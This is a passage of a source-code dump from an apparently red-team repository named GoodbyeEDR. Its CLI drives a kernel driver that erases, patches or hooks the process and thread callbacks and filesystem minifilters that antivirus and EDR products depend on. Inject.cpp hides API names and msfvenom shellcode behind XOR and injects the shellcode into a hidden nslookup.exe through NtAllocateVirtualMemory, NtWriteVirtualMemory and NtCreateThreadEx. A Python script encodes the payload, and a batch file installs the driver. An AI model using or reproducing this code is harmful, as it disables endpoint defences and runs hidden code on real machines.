List.\n"); 18 | printf("\n"); 19 | printf(" -zp\t\t\t\tZero out Process Notify Callback's Array (Cowboy Mode).\n"); 20 | printf(" -dp \t\t\tDelete Specific Process Notify Callback (Red Team Mode).\n"); 21 | printf(" -pp \t\t\tPatch Specific Process Notify Callback (Threat Actor Mode).\n"); 22 | printf(" -rp \t\t\tRollback to the original Process Notify Callback (Thoughtful Ninja Mode).\n"); 23 | printf("\n"); 24 | printf(" -zt\t\t\t\tZero out Thread Notify Callback's Array (Cowboy Mode).\n"); 25 | printf(" -dt \t\t\tDelete Specific Thread Notify Callback (Red Team Mode).\n"); 26 | printf(" -pt \t\t\tPatch Specific Thread Notify Callback (Threat Actor Mode).\n"); 27 | printf(" -rt \t\t\tRollback to the original Thread Notify Callback (Thoughtful Ninja Mode).\n"); 28 | printf("\n"); 29 | printf(" -hps \t\tHook PS notify routine.\n"); 30 | printf(" -ups\t\t\t\tUnhook PS notify routine.\n"); 31 | printf(" -hthr \tHook THR notify routine.\n"); 32 | printf(" -uthr\t\t\t\tUnhook THR notify routine.\n"); 33 | printf("\n"); 34 | printf(" -hm \t\t\tHook FS Minifilter.\n"); 35 | printf(" -um\t\t\t\tUnhook FS Minifilter.\n"); 36 | printf("\n"); 37 | printf(" -chk\t\t\t\tTry AV/EDR for fun ;-) (Inject PS, need admin).\n"); 38 | printf("\n"); 39 | printf(" -dbg_lm\t\t\tList modules in Driver DbgPrint.\n"); 40 | printf(" -dbg_bsod\t\t\tBS0D.\n"); 41 | } 42 | 43 | void DisplayInfo(BYTE* buffer, ULONG size) 44 | { 45 | ULONG maxCount; 46 | PCALLBACK_PS_FS bufPsFs; 47 | 48 | bufPsFs = (PCALLBACK_PS_FS)buffer; 49 | maxCount = size / sizeof(CALLBACK_PS_FS); 50 | if (maxCount == 0) 51 | return; 52 | 53 | for (ULONG i = 0; i < maxCount; i++) 54 | { 55 | if (bufPsFs->Type == TYPE_CALLBACK_PS && bufPsFs->Index == 0) 56 | printf("[*] Process Callbacks:\n"); 57 | else if (bufPsFs->Type == TYPE_CALLBACK_THR && bufPsFs->Index == 0) 58 | printf("[*] Thread Callbacks:\n"); 59 | else if (bufPsFs->Type == TYPE_CALLBACK_FS && bufPsFs->Index == 0) 60 | printf("[*] FS Minifilters:\n"); 61 | 62 | if (bufPsFs->Type == TYPE_CALLBACK_PS || 63 | bufPsFs->Type == TYPE_CALLBACK_THR) 64 | { 65 | printf("\t[%02llu] 0x%llx (%s + 0x%llx)\n", bufPsFs->Index, bufPsFs->NotifyAddress, bufPsFs->chModuleName, bufPsFs->ModuleBase); 66 | } 67 | else if (bufPsFs->Type == TYPE_CALLBACK_FS) 68 | { 69 | printf("\t[%02llu] %S\n", bufPsFs->Index, bufPsFs->wcModuleName); 70 | } 71 | 72 | bufPsFs++; 73 | } 74 | } 75 | 76 | int wmain(int argc, const wchar_t* argv[]) 77 | { 78 | if (argc < 2) 79 | { 80 | Usage(); 81 | return -1; 82 | } 83 | 84 | if (wcscmp(argv[1], L"-chk") == 0) 85 | { 86 | int rc; 87 | 88 | printf("Enter key ($):\n"); 89 | unsigned char k = getchar(); 90 | 91 | rc = Inject(k); 92 | if (rc == -1) 93 | return Error("Failed inject."); 94 | 95 | return 0; 96 | } 97 | 98 | HANDLE hDevice; 99 | DWORD lpBytesReturned; 100 | ULONG64 OutputBuffer = 0; 101 | BOOL success = 0; 102 | DobroData InputBuffer; 103 | InputBuffer.list = 0; 104 | InputBuffer.remove = 0; 105 | InputBuffer.index = 65; 106 | 107 | hDevice = CreateFile(DEVICE_WIN32_NAME, GENERIC_WRITE, FILE_SHARE_WRITE, NULL, OPEN_EXISTING, 0, NULL); 108 | if (hDevice == INVALID_HANDLE_VALUE) 109 | return Error("[-] Failed to open device."); 110 | 111 | if (wcscmp(argv[1], L"-zp") == 0) 112 | { 113 | InputBuffer.remove = 1; 114 | success = DeviceIoControl(hDevice, IOCTL_DOBRO_PROCESS_ZEROOUT_ARRAY, &InputBuffer, sizeof(InputBuffer), &OutputBuffer, 0, &lpBytesReturned, NULL); 115 | } 116 | else if (wcscmp(argv[1], L"-zt") == 0) 117 | { 118 | InputBuffer.remove = 1; 119 | success = DeviceIoControl(hDevice, IOCTL_DOBRO_THREAD_ZEROOUT_ARRAY, &InputBuffer, sizeof(InputBuffer), &OutputBuffer, 0, &lpBytesReturned, NULL); 120 | } 121 | else if (wcscmp(argv[1], L"-pp") == 0 && argc == 3) 122 | { 123 | InputBuffer.index = _wtoi(argv[2]); 124 | if (InputBuffer.index >= 0 && InputBuffer.index < 65) 125 | { 126 | printf("Patching index: %d with a RET (0xc3).\n", InputBuffer.index); 127 | success = DeviceIoControl(hDevice, IOCTL_DOBRO_PROCESS_CALLBACK_RET, &InputBuffer, sizeof(InputBuffer), &OutputBuffer, 0, &lpBytesReturned, NULL); 128 | } 129 | else 130 | { 131 | printf("[-] Valid indexes are between 0 and 64.\n"); 132 | } 133 | } 134 | else if (wcscmp(argv[1], L"-pt") == 0 && argc == 3) 135 | { 136 | InputBuffer.index = _wtoi(argv[2]); 137 | if (InputBuffer.index >= 0 && InputBuffer.index < 65) 138 | { 139 | printf("Patching index: %d with a RET (0xc3).\n", InputBuffer.index); 140 | success = DeviceIoControl(hDevice, IOCTL_DOBRO_THREAD_CALLBACK_RET, &InputBuffer, sizeof(InputBuffer), &OutputBuffer, 0, &lpBytesReturned, NULL); 141 | } 142 | else 143 | { 144 | printf("[-] Valid indexes are between 0 and 64.\n"); 145 | } 146 | } 147 | else if (wcscmp(argv[1], L"-rp") == 0 && argc == 3) 148 | { 149 | InputBuffer.index = _wtoi(argv[2]); 150 | if (InputBuffer.index >= 0 && InputBuffer.index < 65) 151 | { 152 | printf("Rolling back patched index: %d to the original values.\n", InputBuffer.index); 153 | success = DeviceIoControl(hDevice, IOCTL_DOBRO_PROCESS_ROLLBACK_RET, &InputBuffer, sizeof(InputBuffer), NULL, 0, &lpBytesReturned, NULL); 154 | } 155 | else 156 | { 157 | printf("[-] Valid indexes are between 0 and 64.\n"); 158 | } 159 | } 160 | 161 | else if (wcscmp(argv[1], L"-rt") == 0 && argc == 3) 162 | { 163 | InputBuffer.index = _wtoi(argv[2]); 164 | if (InputBuffer.index >= 0 && InputBuffer.index < 65) 165 | { 166 | printf("Rolling back patched index: %d to the original values.\n", InputBuffer.index); 167 | success = DeviceIoControl(hDevice, IOCTL_DOBRO_THREAD_ROLLBACK_RET, &InputBuffer, sizeof(InputBuffer), NULL, 0, &lpBytesReturned, NULL); 168 | } 169 | else 170 | { 171 | printf("[-] Valid indexes are between 0 and 64.\n"); 172 | } 173 | } 174 | 175 | else if (wcscmp(argv[1], L"-dp") == 0 && argc == 3) 176 | { 177 | InputBuffer.index = _wtoi(argv[2]); 178 | if (InputBuffer.index >= 0 && InputBuffer.index < 65) 179 | { 180 | printf("Removing index: %d\n", InputBuffer.index); 181 | success = DeviceIoControl(hDevice, IOCTL_DOBRO_PROCESS_DELETE_CALLBACK, &InputBuffer, sizeof(InputBuffer), &OutputBuffer, 0, &lpBytesReturned, NULL); 182 | } 183 | else 184 | { 185 | printf("[-] Valid indexes are between 0 and 64.\n"); 186 | } 187 | } 188 | 189 | else if (wcscmp(argv[1], L"-dt") == 0 && argc == 3) 190 | { 191 | InputBuffer.index = _wtoi(argv[2]); 192 | if (InputBuffer.index >= 0 && InputBuffer.index < 65) 193 | { 194 | printf("Removing index: %d\n", InputBuffer.index); 195 | success = DeviceIoControl(hDevice, IOCTL_DOBRO_THREAD_DELETE_CALLBACK, &InputBuffer, sizeof(InputBuffer), &OutputBuffer, 0, &lpBytesReturned, NULL); 196 | } 197 | else 198 | { 199 | printf("[-] Valid indexes are between 0 and 64.\n"); 200 | } 201 | } 202 | else if (wcscmp(argv[1], L"-hm") == 0 && argc == 3) 203 | { 204 | InputBuffer.index = _wtoi(argv[2]); 205 | if (InputBuffer.index >= 0 && InputBuffer.index < 65) 206 | { 207 | printf("Hook FS minifilter: %d\n", InputBuffer.index); 208 | success = DeviceIoControl(hDevice, IOCTL_DOBRO_HOOK_MINIFILTER, &InputBuffer, sizeof(InputBuffer), NULL, 0, &lpBytesReturned, NULL); 209 | } 210 | else 211 | { 212 | printf("[-] Valid indexes are between 0 and 64.\n"); 213 | } 214 | } 215 | else if (wcscmp(argv[1], L"-um") == 0) 216 | { 217 | printf("UnHook FS minifilter.\n"); 218 | success = DeviceIoControl(hDevice, IOCTL_DOBRO_UNHOOK_MINIFILTER, &InputBuffer, sizeof(InputBuffer), NULL, 0, &lpBytesReturned, NULL); 219 | } 220 | else if (wcscmp(argv[1], L"-l") == 0) 221 | { 222 | BYTE buffer[sizeof(CALLBACK_PS_FS) * DEF_MOD_NAME_COUNT * 3]; 223 | success = DeviceIoControl(hDevice, IOCTL_DOBRO_GET_LIST_ALL, NULL, 0, buffer, sizeof(buffer), &lpBytesReturned, NULL); 224 | DisplayInfo(buffer, lpBytesReturned); 225 | 226 | } 227 | else if (wcscmp(argv[1], L"-dbg_lm") == 0) 228 | { 229 | success = DeviceIoControl(hDevice, IOCTL_DOBRO_DBG_LIST_MODULES, NULL, 0, &OutputBuffer, 0, &lpBytesReturned, NULL); 230 | } 231 | else if (wcscmp(argv[1], L"-dbg_bsod") == 0) 232 | { 233 | success = DeviceIoControl(hDevice, IOCTL_DOBRO_DBG_BSOD, NULL, 0, 0, 0, 0, NULL); 234 | } 235 | else if (wcscmp(argv[1], L"-hps") == 0 && argc == 4) 236 | { 237 | InputBuffer.index = _wtoi(argv[2]); 238 | wcscpy_s(InputBuffer.wcModuleName, _countof(InputBuffer.wcModuleName), argv[3]); 239 | success = DeviceIoControl(hDevice, IOCTL_DOBRO_HOOK_CALLBACK_PS, &InputBuffer, sizeof(InputBuffer), NULL, 0, &lpBytesReturned, NULL); 240 | } 241 | else if (wcscmp(argv[1], L"-ups") == 0) 242 | { 243 | success = DeviceIoControl(hDevice, IOCTL_DOBRO_UNHOOK_CALLBACK_PS, NULL, 0, NULL, 0, &lpBytesReturned, NULL); 244 | } 245 | else if (wcscmp(argv[1], L"-hthr") == 0 && argc == 4) 246 | { 247 | InputBuffer.index = _wtoi(argv[2]); 248 | wcscpy_s(InputBuffer.wcModuleName, _countof(InputBuffer.wcModuleName), argv[3]); 249 | success = DeviceIoControl(hDevice, IOCTL_DOBRO_HOOK_CALLBACK_THR, &InputBuffer, sizeof(InputBuffer), NULL, 0, &lpBytesReturned, NULL); 250 | } 251 | else if (wcscmp(argv[1], L"-uthr") == 0) 252 | { 253 | success = DeviceIoControl(hDevice, IOCTL_DOBRO_UNHOOK_CALLBACK_THR, NULL, 0, NULL, 0, &lpBytesReturned, NULL); 254 | } 255 | else 256 | { 257 | Usage(); 258 | return -1; 259 | } 260 | 261 | if (!success) 262 | Error("[-] IOCTL failed!"); 263 | else 264 | printf("[+] Send IOCTL success!"); 265 | 266 | CloseHandle(hDevice); 267 | 268 | return 0; 269 | } 270 | -------------------------------------------------------------------------------- /Dobro-Driver/DobroCli/DobroCli.vcxproj: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | Debug 6 | Win32 7 | 8 | 9 | Release 10 | Win32 11 | 12 | 13 | Debug 14 | x64 15 | 16 | 17 | Release 18 | x64 19 | 20 | 21 | 22 | 15.0 23 | {95D2852C-F642-44F7-A5F6-30B75B6DC9DD} 24 | Win32Proj 25 | evilcli 26 | 10.0 27 | 28 | 29 | 30 | Application 31 | true 32 | v142 33 | Unicode 34 | 35 | 36 | Application 37 | false 38 | v142 39 | true 40 | Unicode 41 | 42 | 43 | Application 44 | true 45 | v142 46 | Unicode 47 | 48 | 49 | Application 50 | false 51 | v142 52 | true 53 | Unicode 54 | 55 | 56 | 57 | 58 | 59 | 60 | 61 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | true 75 | 76 | 77 | true 78 | 79 | 80 | false 81 | 82 | 83 | false 84 | false 85 | 86 | 87 | 88 | Use 89 | Level3 90 | Disabled 91 | true 92 | WIN32;_DEBUG;_CONSOLE;%(PreprocessorDefinitions) 93 | true 94 | MultiThreaded 95 | 96 | 97 | Console 98 | true 99 | 100 | 101 | 102 | 103 | NotUsing 104 | Level3 105 | Disabled 106 | _DEBUG;_CONSOLE;%(PreprocessorDefinitions) 107 | Default 108 | MultiThreadedDebug 109 | 110 | 111 | 112 | Console 113 | true 114 | ntdll.lib;kernel32.lib;user32.lib;gdi32.lib;winspool.lib;comdlg32.lib;advapi32.lib;shell32.lib;ole32.lib;oleaut32.lib;uuid.lib;odbc32.lib;odbccp32.lib;%(AdditionalDependencies) 115 | 116 | 117 | 118 | 119 | 120 | 121 | Use 122 | Level3 123 | MaxSpeed 124 | true 125 | true 126 | true 127 | WIN32;NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 128 | true 129 | 130 | 131 | Console 132 | true 133 | true 134 | true 135 | 136 | 137 | 138 | 139 | NotUsing 140 | Level3 141 | Full 142 | true 143 | true 144 | false 145 | NDEBUG;_CONSOLE;%(PreprocessorDefinitions) 146 | true 147 | 148 | Size 149 | false 150 | MultiThreaded 151 | false 152 | None 153 | 154 | 155 | Console 156 | true 157 | true 158 | false 159 | 160 | 161 | 162 | 163 | 164 | 165 | 166 | 167 | 168 | 169 | 170 | 171 | -------------------------------------------------------------------------------- /Dobro-Driver/DobroCli/DobroCli.vcxproj.filters: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF} 6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx 7 | 8 | 9 | {93995380-89BD-4b04-88EB-625FBE52EBFB} 10 | h;hh;hpp;hxx;hm;inl;inc;ipp;xsd 11 | 12 | 13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01} 14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms 15 | 16 | 17 | 18 | 19 | Source Files 20 | 21 | 22 | Source Files 23 | 24 | 25 | 26 | 27 | Header Files 28 | 29 | 30 | -------------------------------------------------------------------------------- /Dobro-Driver/DobroCli/DobroCli.vcxproj.user: -------------------------------------------------------------------------------- 1 |  2 | 3 | 4 | 5 | 6 | WindowsLocalDebugger 7 | 8 | 9 | -chk 10 | WindowsLocalDebugger 11 | 12 | -------------------------------------------------------------------------------- /Dobro-Driver/DobroCli/Inject.cpp: -------------------------------------------------------------------------------- 1 | #include 2 | #include "inject.h" 3 | 4 | #define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0) 5 | 6 | typedef struct _UNICODE_STRING 7 | { 8 | USHORT Length; 9 | USHORT MaximumLength; 10 | PWSTR Buffer; 11 | } UNICODE_STRING, * PUNICODE_STRING; 12 | 13 | typedef struct _PS_ATTRIBUTE 14 | { 15 | ULONG Attribute; 16 | SIZE_T Size; 17 | union 18 | { 19 | ULONG Value; 20 | PVOID ValuePtr; 21 | } u1; 22 | PSIZE_T ReturnLength; 23 | } PS_ATTRIBUTE, * PPS_ATTRIBUTE; 24 | 25 | typedef struct _PS_ATTRIBUTE_LIST 26 | { 27 | SIZE_T TotalLength; 28 | PS_ATTRIBUTE Attributes[1]; 29 | } PS_ATTRIBUTE_LIST, * PPS_ATTRIBUTE_LIST; 30 | 31 | typedef struct _OBJECT_ATTRIBUTES 32 | { 33 | ULONG Length; 34 | HANDLE RootDirectory; 35 | PUNICODE_STRING ObjectName; 36 | ULONG Attributes; 37 | PVOID SecurityDescriptor; 38 | PVOID SecurityQualityOfService; 39 | } OBJECT_ATTRIBUTES, * POBJECT_ATTRIBUTES; 40 | 41 | typedef NTSTATUS(WINAPI* NAVM)(HANDLE, PVOID, ULONG, PULONG, ULONG, ULONG); 42 | typedef NTSTATUS(NTAPI* NWVM)(HANDLE, PVOID, PVOID, ULONG, PULONG); 43 | typedef NTSTATUS(NTAPI* NCT)(PHANDLE, ACCESS_MASK, POBJECT_ATTRIBUTES, HANDLE, PVOID, PVOID, ULONG, SIZE_T, SIZE_T, SIZE_T, PPS_ATTRIBUTE_LIST); 44 | 45 | //char g_nameNAVM[] = "NtAllocateVirtualMemory"; 46 | //char g_nameNWVM[] = "NtWriteVirtualMemory"; 47 | //char g_nameNCT[] = "NtCreateThreadEx"; 48 | 49 | char g_nameDLL[] = { 0x4a,0x50,0x40,0x48,0x48,0xa,0x40,0x48,0x48,0x24 }; 50 | char g_nameNAVM[] = { 0x6a,0x50,0x65,0x48,0x48,0x4b,0x47,0x45,0x50,0x41,0x72,0x4d,0x56,0x50,0x51,0x45,0x48,0x69,0x41,0x49,0x4b,0x56,0x5d,0x24 }; 51 | char g_nameNWVM[] = { 0x6a,0x50,0x73,0x56,0x4d,0x50,0x41,0x72,0x4d,0x56,0x50,0x51,0x45,0x48,0x69,0x41,0x49,0x4b,0x56,0x5d,0x24 }; 52 | char g_nameNCT[] = { 0x6a,0x50,0x67,0x56,0x41,0x45,0x50,0x41,0x70,0x4c,0x56,0x41,0x45,0x40,0x61,0x5c,0x24 }; 53 | 54 | char* Decrypt(char* s, int len, unsigned char k) 55 | { 56 | for (int i = 0; i < len; i++) 57 | { 58 | s[i] = s[i] ^ k; 59 | } 60 | 61 | s[len - 1] = 0; 62 | 63 | return s; 64 | } 65 | 66 | int Inject(unsigned char k) 67 | { 68 | // msfvenom -p windows/x64/exec CMD=notepad.exe -f c 69 | // unsigned char shellcode[] = 70 | // "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" 71 | // "\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" 72 | // "\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" 73 | // "\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" 74 | // "\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" 75 | // "\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" 76 | // "\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" 77 | // "\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" 78 | // "\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" 79 | // "\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" 80 | // "\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" 81 | // "\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" 82 | // "\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" 83 | // "\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" 84 | // "\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" 85 | // "\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" 86 | // "\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" 87 | // "\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74" 88 | // "\x65\x70\x61\x64\x2e\x65\x78\x65\x00"; 89 | 90 | unsigned char shellcode[] = 91 | { 0xd8,0x6c,0xa7,0xc0,0xd4,0xcc,0xe4,0x24,0x24,0x24,0x65,0x75,0x65,0x74,0x76,0x75,0x72,0x6c,0x15,0xf6,0x41,0x6c,0xaf,0x76,0x44,0x6c,0xaf,0x76,0x3c,0x6c,0xaf,0x76,0x4,0x6c,0xaf,0x56,0x74,0x6c,0x2b,0x93,0x6e,0x6e,0x69,0x15,0xed,0x6c,0x15,0xe4,0x88,0x18,0x45,0x58,0x26,0x8,0x4,0x65,0xe5,0xed,0x29,0x65,0x25,0xe5,0xc6,0xc9,0x76,0x65,0x75,0x6c,0xaf,0x76,0x4,0xaf,0x66,0x18,0x6c,0x25,0xf4,0xaf,0xa4,0xac,0x24,0x24,0x24,0x6c,0xa1,0xe4,0x50,0x43,0x6c,0x25,0xf4,0x74,0xaf,0x6c,0x3c,0x60,0xaf,0x64,0x4,0x6d,0x25,0xf4,0xc7,0x72,0x6c,0xdb,0xed,0x65,0xaf,0x10,0xac,0x6c,0x25,0xf2,0x69,0x15,0xed,0x6c,0x15,0xe4,0x88,0x65,0xe5,0xed,0x29,0x65,0x25,0xe5,0x1c,0xc4,0x51,0xd5,0x68,0x27,0x68,0x0,0x2c,0x61,0x1d,0xf5,0x51,0xfc,0x7c,0x60,0xaf,0x64,0x0,0x6d,0x25,0xf4,0x42,0x65,0xaf,0x28,0x6c,0x60,0xaf,0x64,0x38,0x6d,0x25,0xf4,0x65,0xaf,0x20,0xac,0x6c,0x25,0xf4,0x65,0x7c,0x65,0x7c,0x7a,0x7d,0x7e,0x65,0x7c,0x65,0x7d,0x65,0x7e,0x6c,0xa7,0xc8,0x4,0x65,0x76,0xdb,0xc4,0x7c,0x65,0x7d,0x7e,0x6c,0xaf,0x36,0xcd,0x73,0xdb,0xdb,0xdb,0x79,0x6c,0x9e,0x25,0x24,0x24,0x24,0x24,0x24,0x24,0x24,0x6c,0xa9,0xa9,0x25,0x25,0x24,0x24,0x65,0x9e,0x15,0xaf,0x4b,0xa3,0xdb,0xf1,0x9f,0xd4,0x91,0x86,0x72,0x65,0x9e,0x82,0xb1,0x99,0xb9,0xdb,0xf1,0x6c,0xa7,0xe0,0xc,0x18,0x22,0x58,0x2e,0xa4,0xdf,0xc4,0x51,0x21,0x9f,0x63,0x37,0x56,0x4b,0x4e,0x24,0x7d,0x65,0xad,0xfe,0xdb,0xf1,0x4a,0x4b,0x50,0x41,0x54,0x45,0x40,0xa,0x41,0x5c,0x41,0x24 }; 92 | 93 | // Create a 64-bit process: 94 | STARTUPINFO si; 95 | PROCESS_INFORMATION pi; 96 | LPVOID allocation_start; 97 | SIZE_T allocation_size = sizeof(shellcode); 98 | LPCWSTR cmd; 99 | HANDLE hThread; 100 | NTSTATUS status; 101 | 102 | ZeroMemory(&si, sizeof(si)); 103 | ZeroMemory(&pi, sizeof(pi)); 104 | si.cb = sizeof(si); 105 | cmd = TEXT("C:\\Windows\\System32\\nslookup.exe"); 106 | 107 | if (!CreateProcess( 108 | cmd, // Executable 109 | NULL, // Command line 110 | NULL, // Process handle not inheritable 111 | NULL, // Thread handle not inheritable 112 | FALSE, // Set handle inheritance to FALSE 113 | CREATE_NO_WINDOW, // Do Not Open a Window 114 | NULL, // Use parent's environment block 115 | NULL, // Use parent's starting directory 116 | &si, // Pointer to STARTUPINFO structure 117 | &pi)) // Pointer to PROCESS_INFORMATION structure (removed extra parentheses) 118 | { 119 | return Error("[-] Failed CreateProcess()."); 120 | } 121 | 122 | WaitForSingleObject(pi.hProcess, 1000); // Allow nslookup 1 second to start/initialize. 123 | 124 | // Inject into the 64-bit process: 125 | // LoadLibary MEDIUM-LEVEL UNDOCUMENTED API: 126 | HINSTANCE hNtdll = LoadLibraryA(Decrypt(g_nameDLL, sizeof(g_nameDLL), k)); 127 | NAVM NtAllocateVirtualMemory = (NAVM)GetProcAddress(hNtdll, Decrypt(g_nameNAVM, sizeof(g_nameNAVM), k)); 128 | NWVM NtWriteVirtualMemory = (NWVM)GetProcAddress(hNtdll, Decrypt(g_nameNWVM, sizeof(g_nameNWVM), k)); 129 | NCT NtCreateThreadEx = (NCT)GetProcAddress(hNtdll, Decrypt(g_nameNCT, sizeof(g_nameNCT), k)); 130 | allocation_start = nullptr; 131 | 132 | status = NtAllocateVirtualMemory(pi.hProcess, &allocation_start, 0, (PULONG)&allocation_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); 133 | if (!NT_SUCCESS(status)) 134 | return Error("[-] Failed NtAllocateVirtualMemory."); 135 | 136 | Decrypt((char *)shellcode, sizeof(shellcode), k); 137 | status = NtWriteVirtualMemory(pi.hProcess, allocation_start, shellcode, sizeof(shellcode), 0); 138 | if (!NT_SUCCESS(status)) 139 | return Error("[-] Failed NtWriteVirtualMemory."); 140 | 141 | status = NtCreateThreadEx(&hThread, GENERIC_EXECUTE, NULL, pi.hProcess, allocation_start, allocation_start, FALSE, NULL, NULL, NULL, NULL); 142 | if (!NT_SUCCESS(status)) 143 | return Error("[-] Failed NtCreateThreadEx."); 144 | 145 | return 0; 146 | } -------------------------------------------------------------------------------- /Dobro-Driver/DobroCli/Inject.h: -------------------------------------------------------------------------------- 1 | #pragma once 2 | 3 | int Inject(unsigned char k); 4 | int Error(const char* message); 5 | -------------------------------------------------------------------------------- /Dobro-Driver/_cleandbg.bat: -------------------------------------------------------------------------------- 1 | for /r "." %%a in (.) do ( 2 | pushd "%%a" 3 | 4 | rem echo %%a 5 | rem pause 6 | 7 | cd %%a 8 | rd /s /q .vs 9 | rd /s /q Debug 10 | rd /s /q Release 11 | 12 | rem rd /s /q x64 13 | rem del /f /q .gitignore 14 | rem del /f /q *.obj 15 | rem del /f /q *.cod 16 | rem del /f /q *.sys 17 | rem del /f /q *.pdb 18 | 19 | popd 20 | ) -------------------------------------------------------------------------------- /Info/Info.zip: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Rostelecom-Red-Team/GoodbyeEDR/7c8c9a0940d648da167dfa7540e5c687ebe59eb7/Info/Info.zip -------------------------------------------------------------------------------- /Install-Bat/install.bat: -------------------------------------------------------------------------------- 1 | @rem on 2 | InfDefaultInstall.exe %CD%\Dobro.inf 3 | reg query "HKLM\SYSTEM\CurrentControlSet\Services\Dobro" 4 | if %ERRORLEVEL% NEQ 0 goto error_install 5 | 6 | REG ADD "HKLM\SYSTEM\CurrentControlSet\Services\Dobro" /v "ImagePath" /t REG_EXPAND_SZ /d "\??\%CD%\Dobro.sys" /f 7 | if %ERRORLEVEL% NEQ 0 goto error_install 8 | 9 | echo. 10 | echo [+] Success install 11 | goto end_install 12 | 13 | :error_install 14 | echo. 15 | echo [-] Failed install 16 | goto end_install 17 | 18 | :end_install 19 | -------------------------------------------------------------------------------- /Py-Scripts/xor_str.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import os 3 | 4 | nameFunCrypt = [bytearray("NtAllocateVirtualMemory".encode('cp866')), 5 | bytearray("NtWriteVirtualMemory".encode('cp866')), 6 | bytearray("NtCreateThreadEx".encode('cp866'))] 7 | 8 | print(nameFunCrypt) 9 | 10 | k = bytearray(sys.argv[1].encode('cp866'))[0] 11 | 12 | for s in nameFunCrypt: 13 | for i in range(len(s)): 14 | s[i] = s[i] ^ k 15 | 16 | s_hex = "" 17 | for i in range(len(s)): 18 | s_hex += hex(s[i]) + ',' 19 | 20 | print("S: ", s_hex) 21 | 22 | print("K:", hex(k)) 23 | 24 | shc = bytearray(b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52" \ 25 | b"\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48" \ 26 | b"\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9" \ 27 | b"\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41" \ 28 | b"\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48" \ 29 | b"\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01" \ 30 | b"\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48" \ 31 | b"\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0" \ 32 | b"\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c" \ 33 | b"\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0" \ 34 | b"\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04" \ 35 | b"\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59" \ 36 | b"\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48" \ 37 | b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00\x00\x00" \ 38 | b"\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41\xba\x31\x8b\x6f" \ 39 | b"\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff" \ 40 | b"\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb" \ 41 | b"\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5\x6e\x6f\x74" \ 42 | b"\x65\x70\x61\x64\x2e\x65\x78\x65\x00") 43 | 44 | for i in range(len(shc)): 45 | shc[i] = shc[i] ^ k 46 | 47 | s_hex = "" 48 | for i in range(len(shc)): 49 | s_hex += hex(shc[i]) + ',' 50 | 51 | print("SHC: ", s_hex) 52 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # GoodbyeEDR 2 | ███████████████████████████████████████████████████████ 3 | █────█────█────█────██────██──█──█───███───█────██────█ 4 | 